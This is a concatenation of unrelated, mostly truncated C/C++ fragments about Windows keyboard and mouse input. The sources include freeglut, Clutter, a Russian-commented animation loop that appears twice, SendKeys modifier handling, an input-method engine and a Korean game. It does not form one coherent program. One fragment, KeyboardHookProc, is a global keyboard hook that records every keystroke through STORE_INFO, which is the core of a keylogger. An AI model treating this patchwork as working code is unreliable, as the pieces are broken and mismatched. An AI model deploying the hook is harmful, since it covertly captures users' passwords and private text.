if(keydown && !(lParam & 0x40000000)) /* Prevent auto-repeat */
{
if(wParam==(unsigned)gxKeyList.vkRight)
keypress = GLUT_KEY_RIGHT;
else if(wParam==(unsigned)gxKeyList.vkLeft)
keypress = GLUT_KEY_LEFT;
else if(wParam==(unsigned)gxKeyList.vkUp)
keypress = GLUT_KEY_UP;
else if(wParam==(unsigned)gxKeyList.vkDown)
keypress = GLUT_KEY_DOWN;
else if(wParam==(unsigned)gxKeyList.vkA)
keypress = GLUT_KEY_F1;
else if(wParam==(unsigned)gxKeyList.vkB)
keypress = GLUT_KEY_F2;
else if(wParam==(unsigned)gxKeyList.vkC)
keypress = GLUT_KEY_F3;
else if(wParam==(unsigned)gxKeyList.vkStart)
keypress = GLUT_KEY_F4;
}
#endif
if( keypress != -1 )
if (keydown)
INVOKE_WCB( *window, Special,
( keypress,
window->State.MouseX, window->State.MouseY )
);
else
INVOKE_WCB( *window, SpecialUp,
( keypress,
window->State.MouseX, window->State.MouseY )
);
fgState.Modifiers = INVALID_MODIFIERS;
/* SYSKEY events should be sent to default window proc for system to handle them */
if (uMsg==WM_SYSKEYDOWN || uMsg==WM_SYSKEYUP)
return DefWindowProc( window->Window.Handle, uMsg, wParam, lParam );
else
return 1;
}
static gboolean
message_translate (ClutterBackend *backend,
ClutterEvent *event,
const MSG *msg,
gboolean *call_def_window_proc)
{
ClutterBackendWin32 *backend_win32;
ClutterStageWin32 *stage_win32;
ClutterStage *stage;
ClutterStageWindow *impl;
gboolean res;
backend_win32 = CLUTTER_BACKEND_WIN32 (backend);
/* Do further processing only on events for the stage window */
stage = clutter_win32_get_stage_from_window (msg->hwnd);
if (stage == NULL)
return FALSE;
impl = _clutter_stage_get_window (stage);
stage_win32 = CLUTTER_STAGE_WIN32 (impl);
event->any.stage = stage;
res = TRUE;
switch (msg->message)
{
case WM_SIZE:
if (!stage_win32->is_foreign_win
/* Ignore size changes resulting from the stage being
minimized - otherwise the window size will be set to
0,0 */
&& msg->wParam != SIZE_MINIMIZED)
{
WORD new_width = LOWORD (msg->lParam);
WORD new_height = HIWORD (msg->lParam);
guint old_width, old_height;
clutter_actor_get_size (CLUTTER_ACTOR (stage),
&old_width, &old_height);
if (new_width != old_width || new_height != old_height)
clutter_actor_set_size (CLUTTER_ACTOR (stage),
new_width, new_height);
}
res = FALSE;
break;
case WM_SHOWWINDOW:
if (msg->wParam)
clutter_stage_win32_map (stage_win32);
else
clutter_stage_win32_unmap (stage_win32);
res = FALSE;
break;
case WM_ACTIVATE:
if (msg->wParam == WA_INACTIVE)
{
if (stage_win32->state & CLUTTER_STAGE_STATE_ACTIVATED)
{
stage_win32->state &= ~CLUTTER_STAGE_STATE_ACTIVATED;
event->type = CLUTTER_STAGE_STATE;
event->stage_state.changed_mask = CLUTTER_STAGE_STATE_ACTIVATED;
event->stage_state.new_state = stage_win32->state;
}
else
res = FALSE;
break;
}
else
{
if (!(stage_win32->state & CLUTTER_STAGE_STATE_ACTIVATED))
{
stage_win32->state |= CLUTTER_STAGE_STATE_ACTIVATED;
event->type = CLUTTER_STAGE_STATE;
event->stage_state.changed_mask = CLUTTER_STAGE_STATE_ACTIVATED;
event->stage_state.new_state = stage_win32->state;
}
else
res = FALSE;
}
break;
case WM_PAINT:
CLUTTER_NOTE (MULTISTAGE, "expose for stage:%p, redrawing", stage);
clutter_redraw (stage);
res = FALSE;
break;
case WM_DESTROY:
CLUTTER_NOTE (EVENT, "WM_DESTROY");
event->type = CLUTTER_DESTROY_NOTIFY;
break;
case WM_CLOSE:
CLUTTER_NOTE (EVENT, "WM_CLOSE");
event->type = CLUTTER_DELETE;
/* The default window proc will destroy the window so we want to
prevent this to allow applications to optionally destroy the
window themselves */
if (call_def_window_proc)
*call_def_window_proc = FALSE;
break;
case WM_LBUTTONDOWN:
make_button_event (msg, event, 1, 1, FALSE);
break;
case WM_MBUTTONDOWN:
make_button_event (msg, event, 2, 1, FALSE);
break;
case WM_RBUTTONDOWN:
make_button_event (msg, event, 3, 1, FALSE);
break;
case WM_LBUTTONUP:
make_button_event (msg, event, 1, 1, TRUE);
break;
case WM_MBUTTONUP:
make_button_event (msg, event, 2, 1, TRUE);
break;
case WM_RBUTTONUP:
make_button_event (msg, event, 3, 1, TRUE);
break;
case WM_LBUTTONDBLCLK:
make_button_event (msg, event, 1, 2, FALSE);
break;
case WM_MBUTTONDBLCLK:
make_button_event (msg, event, 2, 2, FALSE);
break;
case WM_RBUTTONDBLCLK:
make_button_event (msg, event, 3, 2, FALSE);
break;
case WM_MOUSEWHEEL:
stage_win32->scroll_pos += (SHORT) HIWORD (msg->wParam);
event->type = CLUTTER_SCROLL;
event->scroll.time = msg->time;
event->scroll.modifier_state
= get_modifier_state (LOWORD (msg->wParam));
/* conversion to window coordinates is required */
{
POINT pt = { GET_X_LPARAM (msg->lParam), GET_Y_LPARAM (msg->lParam) };
ScreenToClient (msg->hwnd, &pt);
event->scroll.x = pt.x;
event->scroll.y = pt.y;
}
if (stage_win32->scroll_pos >= WHEEL_DELTA)
{
event->scroll.direction = CLUTTER_SCROLL_UP;
stage_win32->scroll_pos -= WHEEL_DELTA;
}
else if (stage_win32->scroll_pos <= -WHEEL_DELTA)
{
event->scroll.direction = CLUTTER_SCROLL_DOWN;
stage_win32->scroll_pos += WHEEL_DELTA;
}
else
res = FALSE;
break;
case WM_MOUSEMOVE:
event->type = CLUTTER_MOTION;
event->motion.time = msg->time;
event->motion.x = GET_X_LPARAM (msg->lParam);
event->motion.y = GET_Y_LPARAM (msg->lParam);
event->motion.modifier_state = get_modifier_state (msg->wParam);
break;
case WM_KEYDOWN:
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
{
int scan_code = (msg->lParam >> 16) & 0xff;
int min = 0, max = CLUTTER_WIN32_KEY_MAP_SIZE, mid;
BYTE key_states[256];
/* Get the keyboard modifier states. GetKeyboardState
conveniently gets the key state that was current when the
last keyboard message read was generated */
GetKeyboardState(key_states);
/* Binary chop to check if we have a direct mapping for this
key code */
while (min < max)
{
mid = (min + max) / 2;
if (clutter_win32_key_map[mid].win_sym == msg->wParam)
{
event->key.keyval = clutter_win32_key_map[mid].clutter_sym;
event->key.unicode_value = 0;
break;
}
else if (clutter_win32_key_map[mid].win_sym < msg->wParam)
min = mid + 1;
else
max = mid;
}
/* If we don't have a direct mapping then try getting the
unicode value of the key sym */
if (min >= max)
{
WCHAR ch;
BYTE shift_state[256];
/* Translate to a Unicode value, but only take into
account the shift key. That way Ctrl+Shift+C will
generate a capital C virtual key code with a zero
unicode value for example */
memset (shift_state, 0, 256);
shift_state[VK_SHIFT] = key_states[VK_SHIFT];
shift_state[VK_LSHIFT] = key_states[VK_LSHIFT];
shift_state[VK_RSHIFT] = key_states[VK_RSHIFT];
shift_state[VK_CAPITAL] = key_states[VK_CAPITAL];
if (ToUnicode (msg->wParam, scan_code,
shift_state, &ch, 1, 0) == 1
/* The codes in this range directly match the Latin 1
codes so we can just use the Unicode value as the
key sym */
&& ch >= 0x20 && ch <= 0xff)
event->key.keyval = ch;
else
/* Otherwise we don't know what the key means but the
application might be able to do something with the
scan code so we might as well still generate the
event */
event->key.keyval = CLUTTER_VoidSymbol;
/* Get the unicode value of the keypress again using the
full modifier state */
if (ToUnicode (msg->wParam, scan_code,
key_states, &ch, 1, 0) == 1)
event->key.unicode_value = ch;
else
event->key.unicode_value = 0;
}
event->key.type = msg->message == WM_KEYDOWN
|| msg->message == WM_SYSKEYDOWN
? CLUTTER_KEY_PRESS : CLUTTER_KEY_RELEASE;
event->key.time = msg->time;
event->key.modifier_state = get_key_modifier_state (key_states);
event->key.hardware_keycode = scan_code;
}
break;
case WM_GETMINMAXINFO:
{
MINMAXINFO *min_max_info = (MINMAXINFO *) msg->lParam;
_clutter_stage_win32_get_min_max_info (stage_win32, min_max_info);
if (call_def_window_proc)
*call_def_window_proc = FALSE;
}
break;
default:
/* ignore every other message */
res = FALSE;
break;
}
return res;
}
/* Функция построения кадра.
* АРГУМЕНТЫ: Нет.
* ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет.
*/
VOID VG4_AnimRender( VOID )
{
INT i;
LARGE_INTEGER li;
POINT pt;
if (!VG4_IsInit)
return;
/*** Опрос таймера ***/
/* обновляем информацию: */
QueryPerformanceCounter(&li);
/* глобальное время */
VG4_Anim.GlobalTime = (DBL)(li.QuadPart - VG4_TimeStart) / VG4_TimeFreq;
VG4_Anim.GlobalDeltaTime = (DBL)(li.QuadPart - VG4_TimeOld) / VG4_TimeFreq;
/* локальное время */
if (VG4_Anim.IsPause)
VG4_Anim.DeltaTime = 0, VG4_TimePause += li.QuadPart - VG4_TimeOld;
else
VG4_Anim.DeltaTime = VG4_Anim.GlobalDeltaTime;
VG4_Anim.Time = (DBL)(li.QuadPart - VG4_TimeStart - VG4_TimePause - VG4_TimeShift) /
VG4_TimeFreq;
/* вычисляем производительность */
if (li.QuadPart - VG4_TimeFPS > VG4_TimeFreq * 3.0)
{
VG4_Anim.FPS = VG4_FrameCounter / ((DBL)(li.QuadPart - VG4_TimeFPS) / VG4_TimeFreq);
VG4_TimeFPS = li.QuadPart;
VG4_FrameCounter = 0;
}
/* обновляем время "старого" кадра */
VG4_TimeOld = li.QuadPart;
/*** Опрос устройств ввода ***/
/* клавиатура */
/* копируем старое состояние */
memcpy(VG4_Anim.KeysOld, VG4_Anim.Keys, 256);
/* Считываем новое */
GetKeyboardState(VG4_Anim.Keys);
/* конвертироем в Да,Нет */
for (i = 0; i < 256; i++)
VG4_Anim.Keys[i] >>= 7;
/* мышь */
GetCursorPos(&pt);
ScreenToClient(VG4_Anim.hWnd, &pt);
VG4_Anim.MouseX = pt.x;
VG4_Anim.MouseY = pt.y;
VG4_Anim.MouseBut[0] = VG4_Anim.Keys[VK_LBUTTON];
VG4_Anim.MouseBut[1] = VG4_Anim.Keys[VK_RBUTTON];
VG4_Anim.MouseBut[2] = VG4_Anim.Keys[VK_MBUTTON];
VG4_Anim.MouseDeltaX = pt.x - VG4_MousePosOld.x;
VG4_Anim.MouseDeltaY = pt.y - VG4_MousePosOld.y;
VG4_Anim.MouseWheel = VG4_MouseWheel;
VG4_MouseWheel = 0;
VG4_MousePosOld = pt;
/* джойстик */
if ((i = joyGetNumDevs()) > 1)
{
JOYCAPS jc;
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
ji.dwSize = sizeof(ji);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* кнопки */
memcpy(VG4_Anim.JButOld, VG4_Anim.JBut, 32);
for (i = 0; i < 32; i++)
VG4_Anim.JBut[i] = (ji.dwButtons >> i) & 1;
/* оси переводим в диапазон -1..1 */
VG4_Anim.Jx = 2.0 * (ji.dwXpos - jc.wXmin) / (jc.wXmax - jc.wXmin) - 1;
VG4_Anim.Jy = 2.0 * (ji.dwYpos - jc.wYmin) / (jc.wYmax - jc.wYmin) - 1;
VG4_Anim.Jz = 2.0 * (ji.dwZpos - jc.wZmin) / (jc.wZmax - jc.wZmin) - 1;
VG4_Anim.Jr = 2.0 * (ji.dwRpos - jc.wRmin) / (jc.wRmax - jc.wRmin) - 1;
if (ji.dwPOV == 0xFFFF)
VG4_Anim.JPov = 0;
else
VG4_Anim.JPov = ji.dwPOV / 4500 + 1;
}
/* Функция построения кадра анимации.
* АРГУМЕНТЫ: Нет.
* ВОЗВРАЩАЕМОЕ ЗНАЧЕНИЕ: Нет.
*/
VOID VG4_AnimRender( VOID )
{
INT i;
LARGE_INTEGER li;
POINT pt;
/*** Обновление ввода ***/
/* Клавиатура */
GetKeyboardState(VG4_Anim.Keys);
for (i = 0; i < 256; i++)
VG4_Anim.Keys[i] >>= 7;
for (i = 0; i < 256; i++)
VG4_Anim.KeysClick[i] = VG4_Anim.Keys[i] && !VG4_Anim.KeysOld[i];
memcpy(VG4_Anim.KeysOld, VG4_Anim.Keys, 256);
/* Мышь */
/* колесо */
VG4_Anim.MsWheel = VG4_MouseGlobalWheel;
VG4_MouseGlobalWheel = 0;
/* абсолютная позиция */
pt.x = VG4_MouseGlobalX;
pt.y = VG4_MouseGlobalY;
ScreenToClient(VG4_Anim.hWnd, &pt);
VG4_Anim.MsX = pt.x;
VG4_Anim.MsY = pt.y;
/* относительное перемещение */
VG4_Anim.MsDeltaX = VG4_MouseGlobalX - VG4_MouseXOld;
VG4_Anim.MsDeltaY = VG4_MouseGlobalY - VG4_MouseYOld;
VG4_MouseXOld = VG4_MouseGlobalX;
VG4_MouseYOld = VG4_MouseGlobalY;
/* Джойстик */
if ((i = joyGetNumDevs()) > 0)
{
JOYCAPS jc;
/* получение общей информации о джостике */
if (joyGetDevCaps(JOYSTICKID1, &jc, sizeof(jc)) == JOYERR_NOERROR)
{
JOYINFOEX ji;
/* получение текущего состояния */
ji.dwSize = sizeof(JOYCAPS);
ji.dwFlags = JOY_RETURNALL;
if (joyGetPosEx(JOYSTICKID1, &ji) == JOYERR_NOERROR)
{
/* Кнопки */
memcpy(VG4_Anim.JButsOld, VG4_Anim.JButs, sizeof(VG4_Anim.JButs));
for (i = 0; i < 32; i++)
VG4_Anim.JButs[i] = (ji.dwButtons >> i) & 1;
for (i = 0; i < 32; i++)
VG4_Anim.JButsClick[i] = VG4_Anim.JButs[i] && !VG4_Anim.JButsOld[i];
/* Оси */
VG4_Anim.JX = VG4_GET_AXIS_VALUE(X);
VG4_Anim.JY = VG4_GET_AXIS_VALUE(Y);
if (jc.wCaps & JOYCAPS_HASZ)
VG4_Anim.JZ = VG4_GET_AXIS_VALUE(Z);
if (jc.wCaps & JOYCAPS_HASR)
VG4_Anim.JR = VG4_GET_AXIS_VALUE(R);
if (jc.wCaps & JOYCAPS_HASU)
VG4_Anim.JU = 2.0 * (ji.dwUpos - jc.wUmin) / (jc.wUmax - jc.wUmin - 1) - 1;
/* Point-Of-View */
if (jc.wCaps & JOYCAPS_HASPOV)
{
if (ji.dwPOV == 0xFFFF)
VG4_Anim.JPOV = 0;
else
VG4_Anim.JPOV = ji.dwPOV / 4500 + 1;
}
}
void HS_SendKeys::SimModsUp(void)
{
#ifdef _DEBUG
Util_DebugMsg("==> HS_SendKeys::SimModsUp : m_nKeyMod=%d)\n", m_nKeyMod);
#endif
// If the window is NULL use keybd_event
if (m_hWnd == NULL)
{
if ( m_nKeyMod & ALTMOD ) // ALT required?
keybd_event(VK_MENU, m_scanAlt, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
keybd_event(VK_CONTROL, m_scanCtrl, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
keybd_event(VK_SHIFT, m_scanShift, KEYEVENTF_KEYUP, 0);
if ( m_nKeyMod & LWINMOD ) // WIN required?
keybd_event(VK_LWIN, m_scanLWin, KEYEVENTF_KEYUP, 0);
}
else
{
LPARAM lparam;
BYTE KeybdState[256];
GetKeyboardState((LPBYTE)&KeybdState);
if ( (m_nKeyMod & ALTMOD) && !(m_nKeyMod & CTRLMOD) ) // Alt without Ctrl
{
lparam = 0xE0000001 | (LPARAM)(m_scanAlt << 16); // AltDown=1, Repeat=1, Key = up
PostMessage(m_hWnd, WM_SYSKEYUP, VK_MENU, lparam);
}
else if (m_nKeyMod & ALTMOD) // Alt with Ctrl
{
lparam = 0xC0000001 | (LPARAM)(m_scanAlt << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_MENU, lparam);
}
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanCtrl << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_CONTROL, lparam);
}
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanShift << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_SHIFT, lparam);
}
if ( m_nKeyMod & LWINMOD ) // WIN required?
{
lparam = 0xC0000001 | (LPARAM)(m_scanLWin << 16);
PostMessage(m_hWnd, WM_KEYUP, VK_LWIN, lparam);
}
// Now alter the keyboard state to match the mods we just sent
if ( m_nKeyMod & LWINMOD ) // WIN required?
KeybdState[VK_LWIN] ^= 0x80;
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
KeybdState[VK_SHIFT] ^= 0x80;
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
KeybdState[VK_CONTROL] ^= 0x80;
if (m_nKeyMod & ALTMOD) // ALT required?
KeybdState[VK_MENU] ^= 0x80;
SetKeyboardState((LPBYTE)&KeybdState);
}
// Key up keydelay
DoKeyDelay();
} // SimModsUp()
//Args - wVk (WORD) : Input to process : NOT NULL
// lParam (LPARAM) : lParm passed from hooks
//return - true : Input was eatten.
// false : Input was not processed.
bool ProcessInput(WORD wVk, LPARAM lParam)
{
try {
WORD scancode = (WORD)(lParam >> 16);
DWORD dwExtraInfo = GetMessageExtraInfo();
// If VK_BACK and there is any DontEatBackspace, subtract the DontEatBackspace count from lParam
if (wVk == VK_BACK && DontEatBackspace > 0 && ((BYTE)scancode == 0xff))
{
DontEatBackspace -= lParam & 0xFF;
if (DontEatBackspace < 0) // lParam is larger then DontEatBackspace
{ // Eat
InternalEditor.Delete (0 - DontEatBackspace); // And delete additional sendBackspace (Hack for internal editor)
DontEatBackspace = 0;
}
return false;
}
// Do not need to do anything, just pass it
if (wVk == VK_CONTROL || wVk == VK_MENU || wVk == VK_SHIFT)
return false;
BYTE GlobalKeyStates[256];
GetKeyboardState(GlobalKeyStates); // Get States
// Store mod keys to use it later
mksOldState.CTRL = GlobalKeyStates[VK_CONTROL] & 0x80;
mksOldState.ALT = GlobalKeyStates[VK_MENU] & 0x80;
mksOldState.SHIFT = GlobalKeyStates[VK_SHIFT] & 0x80;
mksOldState.CAPS = GlobalKeyStates[VK_CAPITAL] & 0x81;
Debug(L"CTRL = %x ALT = %x\n", mksOldState.CTRL, mksOldState.ALT);
wchar_t wcInput = wVk;
UINT usVk;
if (usVk = TranslateToUnicode((WORD*)&wcInput, GlobalKeyStates)) // Get Ascii Value
{ // If there is any ascii value
if (matchRules(wcInput, usVk, GlobalKeyStates, true )) {// Match for the input
// Found matched
return true; // Eaten
}
else if (wVk == VK_BACK) {
// If VK_BACK
return false;
//InternalEditor.Delete(lParam & 0xFF); // Delete from internal editor
}
else if (klf.layout.eat==true && //eat unused key
mksOldState.CTRL==false && mksOldState.ALT==false &&
wcInput > 0x20 && wcInput < 0x7F) {
InternalEditor.undoEnd();
return true;
}
else if (mksOldState.CTRL==false && mksOldState.ALT==false) {
InternalEditor.AddInput(wcInput); // Not matched? Just store the input
return false;
}
} else {
if (wVk != 0xe7) {// unicode input
if (matchRules(NULL, wVk, GlobalKeyStates, true )) {// Match for the input
// Found matched
return true; // Eaten
}
}
}
//If only one of these two keys are pressed
if (mksOldState.CTRL ^ mksOldState.ALT){
Debug(L"(isCTRL ^ isALT)\n");
InternalEditor.Reset();// restart the internal editor's buffer
return false;
}
} catch (...) {
Debug(L"Caught exception!\n");
}
return false;
}
void HS_SendKeys::ResolveKeyModifiers(UINT vkres)
{
// Examine the vkres code and see what state modifiers it is requesting
if ( (vkres & 0x0200) ) // CTRL required?
m_nKeyMod |= CTRLMOD;
if ( (vkres & 0x0400) ) // ALT required?
m_nKeyMod |= ALTMOD;
if ( (vkres & 0x0100) ) // SHIFT required?
m_nKeyMod |= SHIFTMOD;
// if we have permanent key down situation, we don't want to press those
// keys again so we remove that key!
if ( (m_nKeyMod & CTRLMOD) && (m_nKeyMod & CTRLPERMMOD) )
m_nKeyMod ^= CTRLMOD; // remove ctrl flag
if ( (m_nKeyMod & ALTMOD) && (m_nKeyMod & ALTPERMMOD) )
m_nKeyMod ^= ALTMOD; // remove alt flag
if ( (m_nKeyMod & SHIFTMOD) && (m_nKeyMod & SHIFTPERMMOD) )
m_nKeyMod ^= SHIFTMOD; // remove shift flag
if ( (m_nKeyMod & LWINMOD) && (m_nKeyMod & LWINPERMMOD) )
m_nKeyMod ^= LWINMOD; // remove left win flag
#ifdef _DEBUG
Util_DebugMsg("==> HS_SendKeys::ResolveKeyModifiers : vkres=%d, m_nKeyMod=%d)\n", vkres, m_nKeyMod);
#endif
// Now check the physical state (as best as the buggy API lets us) to see if any
// of the modifier keys are held down. If they are - and none of the CTRLPER type
// flags are used then force them to be released - even if our next keypress is
// going to use the same modifier - it's just not close to reliable that way
// This is not perfect, and if the user continues to twat around it will fail
if (m_hWnd)
{
BYTE KeybdState[256];
GetKeyboardState((LPBYTE)&KeybdState);
// In sendTo mode just make sure that the new keyboard state has all the mods
// reset unless they are perm on
if (!(m_nKeyMod & CTRLPERMMOD))
KeybdState[VK_CONTROL] = 0x00;
if (!(m_nKeyMod & ALTPERMMOD))
KeybdState[VK_MENU] = 0x00;
if (!(m_nKeyMod & SHIFTPERMMOD))
KeybdState[VK_SHIFT] = 0x00;
if (!(m_nKeyMod & LWINPERMMOD))
KeybdState[VK_LWIN] = 0x00;
SetKeyboardState((LPBYTE)&KeybdState);
}
else
{
// keybd_event() mode
if ( IsPhysicallyDown(VK_CONTROL) && (!(m_nKeyMod & CTRLPERMMOD)) )
{
SimKeyUp(VK_CONTROL);
DoKeyDelay();
}
if ( IsPhysicallyDown(VK_MENU) && (!(m_nKeyMod & ALTPERMMOD)) )
{
SimKeyUp(VK_MENU);
DoKeyDelay();
}
if ( IsPhysicallyDown(VK_SHIFT) && (!(m_nKeyMod & SHIFTPERMMOD)) )
{
SimKeyUp(VK_SHIFT);
DoKeyDelay();
}
if ( IsPhysicallyDown(VK_LWIN) && (!(m_nKeyMod & LWINPERMMOD)) )
{
SimKeyUp(VK_LWIN);
DoKeyDelay();
}
}
} // ResolveKeyModifiers()
void HS_SendKeys::SimModsDown(void)
{
#ifdef _DEBUG
Util_DebugMsg("==> HS_SendKeys::SimModsDown : m_nKeyMod=%d)\n", m_nKeyMod);
#endif
// If the window is NULL use keybd_event
if (m_hWnd == NULL)
{
if ( m_nKeyMod & LWINMOD ) // WIN required?
keybd_event(VK_LWIN, m_scanLWin, 0, 0);
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
keybd_event(VK_SHIFT, m_scanShift, 0, 0);
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
keybd_event(VK_CONTROL, m_scanCtrl, 0, 0);
if ( m_nKeyMod & ALTMOD ) // ALT required?
keybd_event(VK_MENU, m_scanAlt, 0, 0);
}
else
{
LPARAM lparam;
BYTE KeybdState[256];
GetKeyboardState((LPBYTE)&KeybdState);
// First alter the keyboard state to match the mods we are about to send
if ( m_nKeyMod & LWINMOD ) // WIN required?
KeybdState[VK_LWIN] |= 0x80;
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
KeybdState[VK_SHIFT] |= 0x80;
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
KeybdState[VK_CONTROL] |= 0x80;
if (m_nKeyMod & ALTMOD) // ALT required?
KeybdState[VK_MENU] |= 0x80;
SetKeyboardState((LPBYTE)&KeybdState);
// Now send the individual WM_KEY messages
if ( m_nKeyMod & LWINMOD ) // WIN required?
{
lparam = 0x00000001 | (LPARAM)(m_scanLWin << 16);
PostMessage(m_hWnd, WM_KEYDOWN, VK_LWIN, lparam);
}
if ( m_nKeyMod & SHIFTMOD ) // SHIFT required?
{
lparam = 0x00000001 | (LPARAM)(m_scanShift << 16);
PostMessage(m_hWnd, WM_KEYDOWN, VK_SHIFT, lparam);
}
if ( m_nKeyMod & CTRLMOD ) // CTRL required?
{
lparam = 0x00000001 | (LPARAM)(m_scanCtrl << 16);
PostMessage(m_hWnd, WM_KEYDOWN, VK_CONTROL, lparam);
}
if ( (m_nKeyMod & ALTMOD) && !(m_nKeyMod & CTRLMOD) ) // Alt without Ctrl
{
lparam = 0x20000001 | (LPARAM)(m_scanAlt << 16); // AltDown=1, repeat=1
PostMessage(m_hWnd, WM_SYSKEYDOWN, VK_MENU, lparam);
}
else if (m_nKeyMod & ALTMOD) // Alt with Ctrl
{
lparam = 0x00000001 | (LPARAM)(m_scanAlt << 16);
PostMessage(m_hWnd, WM_KEYDOWN, VK_MENU, lparam);
}
}
// Key down key delay
DoKeyDownDelay();
} // SimModsDown()
LRESULT CALLBACK KeyboardHookProc(int code, WPARAM wParam, LPARAM lParam)
{
if(!(lParam >> 31) && (code >= 0))
{
char keyw[20];
BEEP
switch(wParam)
{
case VK_CANCEL: strcpy(keyw,"[CTRL-BRK]"); break;
case VK_BACK: strcpy(keyw,"[BACK]"); break;
case VK_TAB: strcpy(keyw,"[TAB]"); break;
case VK_CLEAR: strcpy(keyw,"[CLEAR]"); break;
case VK_RETURN: strcpy(keyw,"[ENTER]\r\n"); break;
case VK_SHIFT: strcpy(keyw,"[SHIFT]"); break;
case VK_CONTROL: strcpy(keyw,"[CTRL]"); break;
case VK_MENU: strcpy(keyw,"[ALT]"); break;
case VK_PAUSE: strcpy(keyw,"[PAUSE]"); break;
case VK_CAPITAL: strcpy(keyw,"[CapsLock]"); break;
case VK_ESCAPE: strcpy(keyw,"[ESC]"); break;
case VK_PRIOR: strcpy(keyw,"[PageUp]"); break;
case VK_NEXT: strcpy(keyw,"[PageDown]"); break;
case VK_END: strcpy(keyw,"[END]"); break;
case VK_HOME: strcpy(keyw,"[HOME]"); break;
case VK_LEFT: strcpy(keyw,"[LEFT]"); break;
case VK_UP: strcpy(keyw,"[UP]"); break;
case VK_RIGHT: strcpy(keyw,"[RIGHT]"); break;
case VK_DOWN: strcpy(keyw,"[DOWN]"); break;
case VK_SELECT: strcpy(keyw,"[SELECT]"); break;
case VK_EXECUTE: strcpy(keyw,"[EXECUTE]"); break;
case VK_SNAPSHOT: strcpy(keyw,"[PrintScreen]"); break;
case VK_INSERT: strcpy(keyw,"[INSERT]"); break;
case VK_DELETE: strcpy(keyw,"[DELETE]"); break;
case VK_HELP: strcpy(keyw,"[HELP]"); break;
case VK_LWIN: strcpy(keyw,"[LeftWindowsKey]"); break;
case VK_RWIN: strcpy(keyw,"[RightWindowsKey]"); break;
case VK_APPS: strcpy(keyw,"[ApplicationKey]"); break;
case VK_MULTIPLY: strcpy(keyw,"[MULTIPLY]"); break;
case VK_ADD: strcpy(keyw,"[ADD]"); break;
case VK_SEPARATOR: strcpy(keyw,"[SEPERATOR]"); break;
case VK_SUBTRACT: strcpy(keyw,"[SUBTRACT]"); break;
case VK_DECIMAL: strcpy(keyw,"[DECIMAL]"); break;
case VK_DIVIDE: strcpy(keyw,"[DIVIDE]"); break;
case VK_NUMLOCK: strcpy(keyw,"[NumLock]"); break;
case VK_SCROLL: strcpy(keyw,"[ScrollLock]"); break;
case VK_ATTN: strcpy(keyw,"[ATTN]"); break;
case VK_CRSEL: strcpy(keyw,"[CrSel]"); break;
case VK_EXSEL: strcpy(keyw,"[ExSel]"); break;
case VK_EREOF: strcpy(keyw,"[EraseEOF]"); break;
case VK_PLAY: strcpy(keyw,"[PLAY]"); break;
case VK_ZOOM: strcpy(keyw,"[ZOOM]"); break;
default: {
/* function keys */
if((wParam >= VK_F1)
&&(wParam <= VK_F24))
{
sprintf(keyw,"[F%u]",
(wParam - VK_F1 + 1));
}
/* what we want the most... the ASCII keys */
else if ((wParam==VK_SPACE)||(wParam>=0x2f)&&(wParam<=0x100))
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
*keyw = char(w);
keyw[1] = '\0';
}
else {
sprintf(keyw,"[(%d)%c]",wParam,wParam); break;
}
}
}
STORE_INFO(keyw);
}
return CallNextHookEx(KeyHook, code, wParam, lParam);
}
bool CScene::ProcessInput( HWND hWnd, CGameTimer timer )
{
static UCHAR pKeyBuffer[256];
DWORD dwDirection = 0;
if (GetKeyboardState( pKeyBuffer ))
{
if (pKeyBuffer['W'] & 0xF0) dwDirection |= DIR_FORWARD;
if (pKeyBuffer['S'] & 0xF0) dwDirection |= DIR_BACKWARD;
if (pKeyBuffer['A'] & 0xF0) dwDirection |= DIR_LEFT;
if (pKeyBuffer['D'] & 0xF0) dwDirection |= DIR_RIGHT;
if (pKeyBuffer['1'] & 0xF0) m_pCamera->Move( XMFLOAT3( 0.0f, 10.f, 10.0f ));
}
float cxDelta = 0.0f, cyDelta = 0.0f;
POINT ptCursorPos;
/*마우스를 캡쳐했으면 마우스가 얼마만큼 이동하였는 가를 계산한다.
마우스 왼쪽 또는 오른쪽 버튼이 눌러질 때의 메시지(WM_LBUTTONDOWN, WM_RBUTTONDOWN)를 처리할 때 마우스를 캡쳐하였다.
그러므로 마우스가 캡쳐된 것은 마우스 버튼이 눌려진 상태를 의미한다.
마우스를 좌우 또는 상하로 움직이면 플레이어를 x-축 또는 y-축으로 회전한다.*/
if (GetCapture( ) == hWnd)
{
SetCursor( NULL );
GetCursorPos( &ptCursorPos );
cxDelta = (float)( ptCursorPos.x - m_ptOldCursorPos.x ) / 5.0f;
cyDelta = (float)( ptCursorPos.y - m_ptOldCursorPos.y ) / 5.0f;
SetCursorPos( ptCursorPos.x, ptCursorPos.y );
}
if (dwDirection != 0 || cxDelta != 0.0f || cyDelta != 0.0f)
{
if (cxDelta || cyDelta)
{
/*cxDelta는 y-축의 회전을 나타내고 cyDelta는 x-축의 회전을 나타낸다.
오른쪽 마우스 버튼이 눌려진 경우 cxDelta는 z-축의 회전을 나타낸다.*/
// 마우스 클릭시 공격 애니메이션이 행해지도록 해야함
if (pKeyBuffer[VK_RBUTTON] & 0xF0){
//m_pCamera->Move( XMFLOAT3( cyDelta, 0.0f, -cxDelta ) );
